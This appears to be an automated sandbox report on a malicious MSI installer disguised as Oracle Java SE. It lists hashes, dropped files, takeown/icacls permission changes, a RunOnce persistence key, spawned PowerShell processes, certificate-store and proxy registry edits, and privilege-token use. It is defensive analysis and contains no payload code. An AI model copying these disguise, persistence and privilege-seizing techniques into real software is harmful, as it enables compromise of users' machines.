Analysis
- max time kernel
142s - max time network
152s - platform
windows10_x64 - resource
win10v20210410 - submitted
09/08/2021, 08:26
Static task
static1
Behavioral task
behavioral1
Sample
d18dac9b78e5b5b800a21e939f872497ee81422e9538207ec2ffc0282603a341.msi
Resource
win7v20210410
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
d18dac9b78e5b5b800a21e939f872497ee81422e9538207ec2ffc0282603a341.msi
Resource
win10v20210410
0 signatures
0 seconds
General
- Target d18dac9b78e5b5b800a21e939f872497ee81422e9538207ec2ffc0282603a341.msi
- Size 3.9MB
- Sample210809-na8fck56mj
- SHA256 d18dac9b78e5b5b800a21e939f872497ee81422e9538207ec2ffc0282603a341
- MD5 e672dacf98858ad2ec671e54a580a011
- SHA1 d4a2846991185653b093e4e40c400df661e79f5f
- SHA512 14d0420b1c0c784bdeb805fe0286d89f7c1e082156984b0aef06c73b123a4cf9914d818fc84b95e17cd695a9c0fa24a7018e0b487c27af3cd42193c8b954cbfb
- MD5 SHA1 SHA512
Score
8/10
Malware Config
Signatures
- Blocklisted process makes network request 7 IoCs
flow pid Process 9 2388 msiexec.exe 11 2388 msiexec.exe 13 2388 msiexec.exe 15 2388 msiexec.exe 25 1000 powershell.exe 28 4820 powershell.exe 29 744 powershell.exe - Downloads MZ/PE file
- Executes dropped EXE 1 IoCs
pid Process 2180 start.EXE - Possible privilege escalation attempt 3 IoCs
pid Process 3508 takeown.exe 204 icacls.exe 2704 icacls.exe - Loads dropped DLL 3 IoCs
pid Process 3288 MsiExec.exe 4008 MsiExec.exe 4008 MsiExec.exe - Modifies file permissions 1 TTPs 3 IoCs
pid Process 204 icacls.exe 2704 icacls.exe 3508 takeown.exe - Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce start.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" start.EXE - Enumerates connected drives 3 TTPs 48 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\V: msiexec.exe - Drops file in Program Files directory 27 IoCs
description ioc Process File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-core-synch-l1-2-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-locale-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-string-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\Register.exe msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-heap-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\vcruntime140.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-core-file-l1-2-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-conio-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-process-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-runtime-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-core-timezone-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-convert-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-time-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-core-file-l2-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-core-processthreads-l1-1-1.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\SyncMonitor.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-core-localization-l1-2-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-environment-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-multibyte-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-private-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-stdio-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\setup.bat msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-math-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\patch_service.exe msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-filesystem-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-utility-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\vcruntime140_1.dll msiexec.exe - Drops file in Windows directory 14 IoCs
description ioc Process File opened for modification C:\Windows\Installer\f7438d8.msi msiexec.exe File opened for modification C:\Windows\Installer\MSI3B5A.tmp msiexec.exe File created C:\Windows\Installer\{0499BFBC-DCDC-4AEE-9A80-5B712430C86F}\Logo.ico msiexec.exe File opened for modification C:\Windows\Installer\{0499BFBC-DCDC-4AEE-9A80-5B712430C86F}\Logo.ico msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\MSI3FB1.tmp msiexec.exe File created C:\Windows\Installer\wix{0499BFBC-DCDC-4AEE-9A80-5B712430C86F}.SchedServiceConfig.rmi MsiExec.exe File opened for modification C:\Windows\Installer\MSI406E.tmp msiexec.exe File created C:\Windows\Installer\f7438d8.msi msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\Installer\SourceHash{0499BFBC-DCDC-4AEE-9A80-5B712430C86F} msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File opened for modification C:\Windows\Installer\MSI3ACC.tmp msiexec.exe File created C:\Windows\Installer\f7438da.msi msiexec.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 explorer.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz explorer.exe - Delays execution with timeout.exe 1 IoCs
pid Process 4272 timeout.exe - Kills process with taskkill 1 IoCs
pid Process 2948 taskkill.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe - Modifies registry class 23 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CBFB9940CDCDEEA4A908B51742038CF6\ProductName = "Java SE" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CBFB9940CDCDEEA4A908B51742038CF6\PackageCode = "9D60AB34E1F9AF540951EAB0CA4EB4A5" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CBFB9940CDCDEEA4A908B51742038CF6\Assignment = "1" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CBFB9940CDCDEEA4A908B51742038CF6\DeploymentFlags = "3" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\1466C7E9365A01D409DE605DF5CEE9C2 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CBFB9940CDCDEEA4A908B51742038CF6\SourceList\Media\1 = ";" msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CBFB9940CDCDEEA4A908B51742038CF6\Clients = 3a0000000000 msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CBFB9940CDCDEEA4A908B51742038CF6\Language = "1033" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\1466C7E9365A01D409DE605DF5CEE9C2\CBFB9940CDCDEEA4A908B51742038CF6 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CBFB9940CDCDEEA4A908B51742038CF6\SourceList msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CBFB9940CDCDEEA4A908B51742038CF6\SourceList\Net msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CBFB9940CDCDEEA4A908B51742038CF6\SourceList\Media msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\CBFB9940CDCDEEA4A908B51742038CF6 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CBFB9940CDCDEEA4A908B51742038CF6 msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CBFB9940CDCDEEA4A908B51742038CF6\InstanceType = "0" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CBFB9940CDCDEEA4A908B51742038CF6\AuthorizedLUAApp = "0" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CBFB9940CDCDEEA4A908B51742038CF6\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\CBFB9940CDCDEEA4A908B51742038CF6\ProductFeature msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CBFB9940CDCDEEA4A908B51742038CF6\Version = "134217851" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CBFB9940CDCDEEA4A908B51742038CF6\AdvertiseFlags = "388" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CBFB9940CDCDEEA4A908B51742038CF6\ProductIcon = "C:\\Windows\\Installer\\{0499BFBC-DCDC-4AEE-9A80-5B712430C86F}\\Logo.ico" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CBFB9940CDCDEEA4A908B51742038CF6\SourceList\PackageName = "d18dac9b78e5b5b800a21e939f872497ee81422e9538207ec2ffc0282603a341.msi" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CBFB9940CDCDEEA4A908B51742038CF6\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3820 msiexec.exe 3820 msiexec.exe 3156 powershell.exe 776 powershell.exe 3120 powershell.exe 2120 powershell.exe 776 powershell.exe 3120 powershell.exe 3156 powershell.exe 2120 powershell.exe 2120 powershell.exe 3156 powershell.exe 3120 powershell.exe 776 powershell.exe 4576 powershell.exe 3752 powershell.exe 4672 powershell.exe 4700 powershell.exe 4756 powershell.exe 4576 powershell.exe 3752 powershell.exe 4844 powershell.exe 4700 powershell.exe 4548 powershell.exe 4672 powershell.exe 5008 powershell.exe 5088 powershell.exe 4756 powershell.exe 4576 powershell.exe 4844 powershell.exe 4204 powershell.exe 4204 powershell.exe 3752 powershell.exe 3752 powershell.exe 4700 powershell.exe 4700 powershell.exe 2632 powershell.exe 2632 powershell.exe 4548 powershell.exe 4548 powershell.exe 4672 powershell.exe 4672 powershell.exe 1796 powershell.exe 1796 powershell.exe 5088 powershell.exe 5088 powershell.exe 500 powershell.exe 500 powershell.exe 5008 powershell.exe 5008 powershell.exe 4756 powershell.exe 4756 powershell.exe 4844 powershell.exe 4844 powershell.exe 4204 powershell.exe 1296 powershell.exe 1296 powershell.exe 4368 powershell.exe 4368 powershell.exe 4548 powershell.exe 2632 powershell.exe 1796 powershell.exe 5088 powershell.exe 4780 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 2388 msiexec.exe Token: SeIncreaseQuotaPrivilege 2388 msiexec.exe Token: SeSecurityPrivilege 3820 msiexec.exe Token: SeCreateTokenPrivilege 2388 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 2388 msiexec.exe Token: SeLockMemoryPrivilege 2388 msiexec.exe Token: SeIncreaseQuotaPrivilege 2388 msiexec.exe Token: SeMachineAccountPrivilege 2388 msiexec.exe Token: SeTcbPrivilege 2388 msiexec.exe Token: SeSecurityPrivilege 2388 msiexec.exe Token: SeTakeOwnershipPrivilege 2388 msiexec.exe Token: SeLoadDriverPrivilege 2388 msiexec.exe Token: SeSystemProfilePrivilege 2388 msiexec.exe Token: SeSystemtimePrivilege 2388 msiexec.exe Token: SeProfSingleProcessPrivilege 2388 msiexec.exe Token: SeIncBasePriorityPrivilege 2388 msiexec.exe Token: SeCreatePagefilePrivilege 2388 msiexec.exe Token: SeCreatePermanentPrivilege 2388 msiexec.exe Token: SeBackupPrivilege 2388 msiexec.exe Token: SeRestorePrivilege 2388 msiexec.exe Token: SeShutdownPrivilege 2388 msiexec.exe Token: SeDebugPrivilege 2388 msiexec.exe Token: SeAuditPrivilege 2388 msiexec.exe Token: SeSystemEnvironmentPrivilege 2388 msiexec.exe Token: SeChangeNotifyPrivilege 2388 msiexec.exe Token: SeRemoteShutdownPrivilege 2388 msiexec.exe Token: SeUndockPrivilege 2388 msiexec.exe Token: SeSyncAgentPrivilege 2388 msiexec.exe Token: SeEnableDelegationPrivilege 2388 msiexec.exe Token: SeManageVolumePrivilege 2388 msiexec.exe Token: SeImpersonatePrivilege 2388 msiexec.exe Token: SeCreateGlobalPrivilege 2388 msiexec.exe Token: SeRestorePrivilege 3820 msiexec.exe Token: SeTakeOwnershipPrivilege 3820 msiexec.exe Token: SeRestorePrivilege 3820 msiexec.exe Token: SeTakeOwnershipPrivilege 3820 msiexec.exe Token: SeRestorePrivilege 3820 msiexec.exe Token: SeTakeOwnershipPrivilege 3820 msiexec.exe Token: SeRestorePrivilege 3820 msiexec.exe Token: SeTakeOwnershipPrivilege 3820 msiexec.exe Token: SeRestorePrivilege 3820 msiexec.exe Token: SeTakeOwnershipPrivilege 3820 msiexec.exe Token: SeShutdownPrivilege 4008 MsiExec.exe Token: SeRestorePrivilege 3820 msiexec.exe Token: SeTakeOwnershipPrivilege 3820 msiexec.exe Token: SeRestorePrivilege 3820 msiexec.exe Token: SeTakeOwnershipPrivilege 3820 msiexec.exe Token: SeRestorePrivilege 3820 msiexec.exe Token: SeTakeOwnershipPrivilege 3820 msiexec.exe Token: SeRestorePrivilege 3820 msiexec.exe Token: SeTakeOwnershipPrivilege 3820 msiexec.exe Token: SeRestorePrivilege 3820 msiexec.exe Token: SeTakeOwnershipPrivilege 3820 msiexec.exe Token: SeRestorePrivilege 3820 msiexec.exe Token: SeTakeOwnershipPrivilege 3820 msiexec.exe Token: SeRestorePrivilege 3820 msiexec.exe Token: SeTakeOwnershipPrivilege 3820 msiexec.exe Token: SeRestorePrivilege 3820 msiexec.exe Token: SeTakeOwnershipPrivilege 3820 msiexec.exe Token: SeRestorePrivilege 3820 msiexec.exe Token: SeTakeOwnershipPrivilege 3820 msiexec.exe Token: SeRestorePrivilege 3820 msiexec.exe Token: SeTakeOwnershipPrivilege 3820 msiexec.exe Token: SeRestorePrivilege 3820 msiexec.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 2388 msiexec.exe 2388 msiexec.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3820 wrote to memory of 3288 3820 msiexec.exe 78 PID 3820 wrote to memory of 3288 3820 msiexec.exe 78 PID 3820 wrote to memory of 3288 3820 msiexec.exe 78 PID 3820 wrote to memory of 4008 3820 msiexec.exe 79 PID 3820 wrote to memory of 4008 3820 msiexec.exe 79 PID 3820 wrote to memory of 4008 3820 msiexec.exe 79 PID 4008 wrote to memory of 2500 4008 MsiExec.exe 80 PID 4008 wrote to memory of 2500 4008 MsiExec.exe 80 PID 4008 wrote to memory of 2500 4008 MsiExec.exe 80 PID 2500 wrote to memory of 3508 2500 cmd.exe 82 PID 2500 wrote to memory of 3508 2500 cmd.exe 82 PID 2500 wrote to memory of 3508 2500 cmd.exe 82 PID 2500 wrote to memory of 204 2500 cmd.exe 83 PID 2500 wrote to memory of 204 2500 cmd.exe 83 PID 2500 wrote to memory of 204 2500 cmd.exe 83 PID 2500 wrote to memory of 2948 2500 cmd.exe 84 PID 2500 wrote to memory of 2948 2500 cmd.exe 84 PID 2500 wrote to memory of 2948 2500 cmd.exe 84 PID 2500 wrote to memory of 2704 2500 cmd.exe 85 PID 2500 wrote to memory of 2704 2500 cmd.exe 85 PID 2500 wrote to memory of 2704 2500 cmd.exe 85 PID 2500 wrote to memory of 3156 2500 cmd.exe 86 PID 2500 wrote to memory of 3156 2500 cmd.exe 86 PID 2500 wrote to memory of 3156 2500 cmd.exe 86 PID 2500 wrote to memory of 2120 2500 cmd.exe 87 PID 2500 wrote to memory of 2120 2500 cmd.exe 87 PID 2500 wrote to memory of 2120 2500 cmd.exe 87 PID 2500 wrote to memory of 3120 2500 cmd.exe 88 PID 2500 wrote to memory of 3120 2500 cmd.exe 88 PID 2500 wrote to memory of 3120 2500 cmd.exe 88 PID 2500 wrote to memory of 1292 2500 cmd.exe 89 PID 2500 wrote to memory of 1292 2500 cmd.exe 89 PID 2500 wrote to memory of 1292 2500 cmd.exe 89 PID 1292 wrote to memory of 776 1292 cmd.exe 90 PID 1292 wrote to memory of 776 1292 cmd.exe 90 PID 1292 wrote to memory of 776 1292 cmd.exe 90 PID 2500 wrote to memory of 4576 2500 cmd.exe 91 PID 2500 wrote to memory of 4576 2500 cmd.exe 91 PID 2500 wrote to memory of 4576 2500 cmd.exe 91 PID 2500 wrote to memory of 3752 2500 cmd.exe 92 PID 2500 wrote to memory of 3752 2500 cmd.exe 92 PID 2500 wrote to memory of 3752 2500 cmd.exe 92 PID 2500 wrote to memory of 4672 2500 cmd.exe 93 PID 2500 wrote to memory of 4672 2500 cmd.exe 93 PID 2500 wrote to memory of 4672 2500 cmd.exe 93 PID 2500 wrote to memory of 4700 2500 cmd.exe 94 PID 2500 wrote to memory of 4700 2500 cmd.exe 94 PID 2500 wrote to memory of 4700 2500 cmd.exe 94 PID 2500 wrote to memory of 4756 2500 cmd.exe 95 PID 2500 wrote to memory of 4756 2500 cmd.exe 95 PID 2500 wrote to memory of 4756 2500 cmd.exe 95 PID 2500 wrote to memory of 4844 2500 cmd.exe 96 PID 2500 wrote to memory of 4844 2500 cmd.exe 96 PID 2500 wrote to memory of 4844 2500 cmd.exe 96 PID 2500 wrote to memory of 4548 2500 cmd.exe 97 PID 2500 wrote to memory of 4548 2500 cmd.exe 97 PID 2500 wrote to memory of 4548 2500 cmd.exe 97 PID 2500 wrote to memory of 5008 2500 cmd.exe 98 PID 2500 wrote to memory of 5008 2500 cmd.exe 98 PID 2500 wrote to memory of 5008 2500 cmd.exe 98 PID 2500 wrote to memory of 5088 2500 cmd.exe 99 PID 2500 wrote to memory of 5088 2500 cmd.exe 99 PID 2500 wrote to memory of 5088 2500 cmd.exe 99 PID 2500 wrote to memory of 4204 2500 cmd.exe 100
Processes
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C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\d18dac9b78e5b5b800a21e939f872497ee81422e9538207ec2ffc0282603a341.msi1⤵
- Blocklisted process makes network request
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:2388
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3820 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 2D993E92B2D09631CD74F1856535790F2⤵
- Loads dropped DLL
PID:3288
